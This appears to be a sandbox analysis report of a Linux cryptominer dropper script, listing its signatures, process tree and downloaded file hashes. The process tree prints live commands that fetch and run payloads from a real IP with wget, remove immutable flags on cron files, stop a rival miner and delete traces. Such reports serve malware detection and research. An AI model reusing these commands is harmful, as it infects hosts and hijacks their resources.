Analysis

  • max time kernel
    63s
  • max time network
    66s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/06/2026, 07:51

General

  • Target
    sh
  • Size 2KB
  • Sample260604-jqb89abs3t
  • SHA256 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 19 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
    • Executes dropped EXE
    PID:716
    • /usr/bin/awk
      awk "{print \$2}"
      2⤵
      • Reads runtime system information
      PID:725
    • /bin/cat
      cat /proc/mounts
      2⤵
      • Reads runtime system information
      PID:723
    • /bin/grep
      grep noexec
      2⤵
        PID:724
      • /usr/bin/whoami
        whoami
        2⤵
          PID:735
        • /usr/bin/find
          find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*"
          2⤵
          • Reads runtime system information
          PID:738
        • /bin/uname
          uname -mp
          2⤵
            PID:772
          • /usr/bin/od
            od -An -N2 -i /dev/urandom
            2⤵
              PID:778
            • /usr/bin/tr
              tr -d " "
              2⤵
                PID:779
              • /usr/bin/expr
                expr 54483 "%" 32 + 4
                2⤵
                  PID:780
                • /usr/bin/tr
                  tr -dc A-Za-z0-9
                  2⤵
                    PID:783
                  • /usr/bin/openssl
                    openssl rand -base64 256
                    2⤵
                      PID:782
                    • /usr/bin/head
                      head -c 23
                      2⤵
                        PID:784
                      • /usr/bin/touch
                        touch .testfile
                        2⤵
                          PID:787
                        • /bin/dd
                          dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                          2⤵
                            PID:790
                          • /bin/rm
                            rm -rf .testfile .testfile2
                            2⤵
                              PID:792
                            • /bin/rm
                              rm -rf clean
                              2⤵
                                PID:793
                              • /usr/bin/wget
                                wget --no-check-certificate -q https://14.46.136.77/clean
                                2⤵
                                  PID:794
                                • /bin/chmod
                                  chmod +x clean
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:816
                                • /bin/sh
                                  sh clean
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:817
                                  • /bin/systemctl
                                    systemctl disable c3pool_miner
                                    3⤵
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:818
                                  • /bin/systemctl
                                    systemctl stop c3pool_miner
                                    3⤵
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:819
                                  • /usr/bin/chattr
                                    chattr -ia /var/spool/cron/crontabs
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:820
                                  • /usr/bin/chattr
                                    chattr -ia /etc/crontab
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:821
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:822
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/crontab
                                    3⤵
                                    • Reads runtime system information
                                    PID:823
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.hourly
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:824
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:825
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/apt-compat
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:826
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:827
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                                    3⤵
                                    • Reads runtime system information
                                    PID:828
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/bsdmainutils
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:829
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:830
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                                    3⤵
                                    • Reads runtime system information
                                    PID:831
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/dpkg
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:832
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:833
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/dpkg
                                    3⤵
                                    • Reads runtime system information
                                    PID:834
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/exim4-base
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:835
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:836
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                                    3⤵
                                    • Reads runtime system information
                                    PID:837
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/logrotate
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:838
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:839
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/logrotate
                                    3⤵
                                    • Reads runtime system information
                                    PID:840
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/passwd
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:841
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:842
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/passwd
                                    3⤵
                                    • Reads runtime system information
                                    PID:843
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.weekly
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:844
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.monthly
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:845
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.d
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:846
                                  • /usr/bin/chattr
                                    chattr -ia /etc/anacrontab
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:847
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:848
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/anacrontab
                                    3⤵
                                    • Reads runtime system information
                                    PID:849
                                  • /bin/rm
                                    rm -rf /tmp/sh /tmp/systemd-private-8e05c61cb68c40a394e31dbdc6749b38-systemd-timedated.service-8KQW5G
                                    3⤵
                                      PID:850
                                    • /bin/rm
                                      rm -rf /var/tmp/systemd-private-8e05c61cb68c40a394e31dbdc6749b38-systemd-timedated.service-o0MxRY
                                      3⤵
                                        PID:851
                                      • /bin/rm
                                        rm -rf "/dev/shm/*"
                                        3⤵
                                          PID:852
                                      • /bin/rm
                                        rm -rf clean
                                        2⤵
                                          PID:853
                                        • /bin/rm
                                          rm -rf .redtail
                                          2⤵
                                            PID:854
                                          • /bin/rm
                                            rm -rf .M51jdLUFSwWL9cI0EvHEr1q
                                            2⤵
                                              PID:855
                                            • /bin/grep
                                              grep -q x86_64
                                              2⤵
                                                PID:857
                                              • /bin/grep
                                                grep -q amd64
                                                2⤵
                                                  PID:859
                                                • /bin/grep
                                                  grep -q "i[3456]86"
                                                  2⤵
                                                    PID:861
                                                  • /bin/grep
                                                    grep -q armv8
                                                    2⤵
                                                      PID:866
                                                    • /bin/grep
                                                      grep -q aarch64
                                                      2⤵
                                                        PID:868
                                                      • /bin/grep
                                                        grep -q armv7
                                                        2⤵
                                                          PID:870
                                                        • /bin/rm
                                                          rm -rf x86_64
                                                          2⤵
                                                            PID:871
                                                          • /usr/bin/wget
                                                            wget --no-check-certificate -q https://14.46.136.77/x86_64
                                                            2⤵
                                                              PID:872
                                                            • /bin/cat
                                                              cat x86_64
                                                              2⤵
                                                                PID:903
                                                              • /bin/chmod
                                                                chmod +x .M51jdLUFSwWL9cI0EvHEr1q
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:904
                                                              • /.M51jdLUFSwWL9cI0EvHEr1q
                                                                ./.M51jdLUFSwWL9cI0EvHEr1q
                                                                2⤵
                                                                  PID:905
                                                                • /bin/rm
                                                                  rm -rf x86_64
                                                                  2⤵
                                                                    PID:907
                                                                  • /bin/rm
                                                                    rm -rf i686
                                                                    2⤵
                                                                      PID:908
                                                                    • /usr/bin/wget
                                                                      wget --no-check-certificate -q https://14.46.136.77/i686
                                                                      2⤵
                                                                        PID:909
                                                                      • /bin/cat
                                                                        cat i686
                                                                        2⤵
                                                                          PID:910
                                                                        • /bin/chmod
                                                                          chmod +x .M51jdLUFSwWL9cI0EvHEr1q
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:911
                                                                        • /.M51jdLUFSwWL9cI0EvHEr1q
                                                                          ./.M51jdLUFSwWL9cI0EvHEr1q
                                                                          2⤵
                                                                            PID:912
                                                                          • /bin/rm
                                                                            rm -rf i686
                                                                            2⤵
                                                                              PID:914
                                                                            • /bin/rm
                                                                              rm -rf aarch64
                                                                              2⤵
                                                                                PID:915
                                                                              • /usr/bin/wget
                                                                                wget --no-check-certificate -q https://14.46.136.77/aarch64
                                                                                2⤵
                                                                                  PID:916
                                                                                • /bin/cat
                                                                                  cat aarch64
                                                                                  2⤵
                                                                                    PID:917
                                                                                  • /bin/chmod
                                                                                    chmod +x .M51jdLUFSwWL9cI0EvHEr1q
                                                                                    2⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:918
                                                                                  • /.M51jdLUFSwWL9cI0EvHEr1q
                                                                                    ./.M51jdLUFSwWL9cI0EvHEr1q
                                                                                    2⤵
                                                                                      PID:919
                                                                                    • /bin/rm
                                                                                      rm -rf aarch64
                                                                                      2⤵
                                                                                        PID:921
                                                                                      • /bin/rm
                                                                                        rm -rf arm7
                                                                                        2⤵
                                                                                          PID:922
                                                                                        • /usr/bin/wget
                                                                                          wget --no-check-certificate -q https://14.46.136.77/arm7
                                                                                          2⤵
                                                                                            PID:923
                                                                                          • /bin/cat
                                                                                            cat arm7
                                                                                            2⤵
                                                                                              PID:924
                                                                                            • /bin/chmod
                                                                                              chmod +x .M51jdLUFSwWL9cI0EvHEr1q
                                                                                              2⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:925
                                                                                            • /.M51jdLUFSwWL9cI0EvHEr1q
                                                                                              ./.M51jdLUFSwWL9cI0EvHEr1q
                                                                                              2⤵
                                                                                                PID:926
                                                                                              • /bin/rm
                                                                                                rm -rf arm7
                                                                                                2⤵
                                                                                                  PID:928

                                                                                              Network

                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    .testfile2

                                                                                                    • Path /.testfile2
                                                                                                    • Size 2.0MB
                                                                                                    • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                                    aarch64

                                                                                                    • Path /aarch64
                                                                                                    • Size 1.5MB
                                                                                                    • SHA256 dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    arm7

                                                                                                    • Path /arm7
                                                                                                    • Size 1.2MB
                                                                                                    • SHA256 3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    clean

                                                                                                    • Path /clean
                                                                                                    • Size 795B
                                                                                                    • SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                    i686

                                                                                                    • Path /i686
                                                                                                    • Size 1.7MB
                                                                                                    • SHA256 048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    clean_crontab

                                                                                                    • Path /tmp/clean_crontab
                                                                                                    • Size 279B
                                                                                                    • SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                    clean_crontab

                                                                                                    • Path /tmp/clean_crontab
                                                                                                    • Size 1KB
                                                                                                    • SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                    clean_crontab

                                                                                                    • Path /tmp/clean_crontab
                                                                                                    • Size 3KB
                                                                                                    • SHA256 a452648bb2e987dfbea6d16656f8009e641b215c69835cee79f108030be8ec7f
                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                    clean_crontab

                                                                                                    • Path /tmp/clean_crontab
                                                                                                    • Size 722B
                                                                                                    • SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                    clean_crontab

                                                                                                    • Path /tmp/clean_crontab
                                                                                                    • Size 1KB
                                                                                                    • SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                    x86_64

                                                                                                    • Path /x86_64
                                                                                                    • Size 1.8MB
                                                                                                    • SHA256 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH